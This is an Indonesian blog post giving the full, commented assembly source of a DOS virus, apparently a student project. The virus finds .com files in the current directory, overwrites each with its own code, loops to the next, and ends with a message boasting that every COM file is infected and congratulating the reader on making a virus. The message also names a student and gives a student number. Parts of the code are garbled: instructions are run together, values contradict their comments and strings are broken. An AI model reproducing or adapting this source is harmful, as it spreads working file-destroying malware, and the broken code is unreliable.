Minggu, 24 Maret 2013

Program Assembler


draggy segment ; namasegmen (awaldarisegmen),

assume cs:draggy, ds:draggy ; register csdengan ds ke segment
org 100h ; daftarkememori 100hex atau 256 bytes
; ------------------------------------------------------------------------
mulai: ; nama label (bisaditulisdgnnamaapasaja,
; terserahandaygpentingandamengerti)
mov  ah,5eh ; move nilai 4e hex ke ah untuk general register
TesVirusproc near ; identitas virus/prosedur
; ------------------------------------------------------------------------
cari_korban: ;nama label
xorcx,cx ; cx = 0 untuk general register utk set atribut
; file = normal,
leadx,comsig ; L<oad> E<ffective> A<ddress>daricomsigke dx
; atau move string ke dx untukmencari
; spesifik file ygakandiinfeksi,

int 21h ; eksekusifungsi yang sudah di set

jcjejakpendekar ; jc = jump if carry (jika program telah
; terinfeksimakaeksekusirutinjejakpendekar
; ------------------------------------------------------------------------
buka_bajunya: ;nama label
mov ax,3d02h ; asumsi program telahmenemukan file ygakan
; diinfeksimaka 3d02h diloadke AX
; karena AX tiperegisternya 16-bit yang isinya
; masing-masing 8 bit AH & AL maka AH=3dh & AL=02h,

mov dx,9eh ; load ASCii string ke dx untuknama file yg
; akandiinfeksiletaknyaada di PSP di bagian
; D<ata>T<ransfer>A<rea>.
; PSP start di 00 hex,DTA start di 80 hex,
; file name ada di 1e hex di awal DTA
; jadi total offset ini : 1e+80=9e hex,

int 21h ; eksekusi
; ------------------------------------------------------------------------
perkosa_korban: ;nama label

xchgbx,ax ; di rutinsebelumnyapadasaat
; file dibuka(open), komputer
; menempatkanperlakuanunik
; (unique file handle) dandisimpan
; kedalam AX. Kita membutuhkan file handle
; itu di BX untukfungsi write record
; jadiandadapatmenggunakan Exchange(xchg) AX
; ke BX {xchgbx,ax} atau
; bisajugadenganmenggunakanmovbx,axtetapi
; ukuran program menjadilebihbesar 1 byte,
; [biasanyauntukpembuatan program virus, kita
; harusdapatmengoptimalkankode program agar
; program yang dihasilkanukurannyalebihkecil
; sehinggalebihhematmemoridanefektif.]

mov  ah,40h ; load 40 hex ke AH

movcx,offset target - offset mulai ; perintahkankomputer
; agarmenghitungjarakantara
;  offsetmulaidengan offset target agar
;  dapatdiketahuiberapabanyak bytes
;  ygakanditulis(write).
;  jadi CX harusdiloaddgnjumlah bytes
;  ygakanditulis

lea  dx,mulai ; load alamatmulaike dx

int  21h ; eksekusi

; ------------------------------------------------------------------------

balikin_bajunya: ;nama label

mov  ah,3eh ; setelah file telahterinfeksimakatutup file
; korban (load 3eh ke ah) agar program virus ini
; dapatmulaimencari program lain untukdiinfeksi

int  21h ; eksekusi

mov  ah,4fh ; load 4f ke AH

jmpcari_korban ; looping, lompatke label cari_korban
;   sampaiada file yang flagnya=1
; ------------------------------------------------------------------------
jejakpendekar: ; nama label
; rutininibergunauntukmenampilkanpesan,
; jugasebagaitanda program virus telahselesai.
; jadijikaandatidakinginmenggunakanrutinini
; tidakapa-apakarena program virus inimasih
; dapatberjalan

mov  dh,8h ; serviske 9 untukmencetak string

mov  dx, offset pesanku ; teksygakandidisplaypadalayarharus
; diloaddahuluke dx (Data Register)
; jadiambilalamat Offset pesanku

int  21h ; eksekusi
; ------------------------------------------------------------------------
keluar:
int  20h ; finish! kembalike DOS.
; terminate operation tanpamenset register.
; cara lain terminate dgnmenset register adalah:
; mov ax,4c00h menggunakanint 21h
; (Keterangan: 00=exit without error)
;--------------------------------------------------------------------------------
comsig db  "*.com",0 ; define data = comsig, 0 = akhir string
;   comsig = signature file COM

pesankudb  'semua file *.com di direktoriinisudah di infeksi',10,13
db  'selamatandaberhasilmembuat virus',10,13
db  'kritikdan saran sangat kami harapkan',10,13
db 'POLITEKNIK POS INDONESIA',13,10
db '',13,10
db 'SELAMAT DATANG DI PROGRAM KAMI. By KELOMPOK BASUKI!!',13,10
db '',13,10
db 'Nama : Mario Ignasius,13,10
db 'Npm : 1123137’,13,10
db 'Kelas : D3 / 1B',13,10
db 'Jurusan : Teknik Informatika',13,10

db '',13,10,'$'

target label  near ; label didalamprosedurTesVirus yang berguna
;  utkmenetapkanjarak/besar program virus

TesVirusendp ; akhir procedure

draggy  ends ; akhirsegmen

endmulai ; akhirmulai (mulai = kodepertamaygdieksekusi
; komputer yang beradadidalamsegmen draggy)

Tidak ada komentar: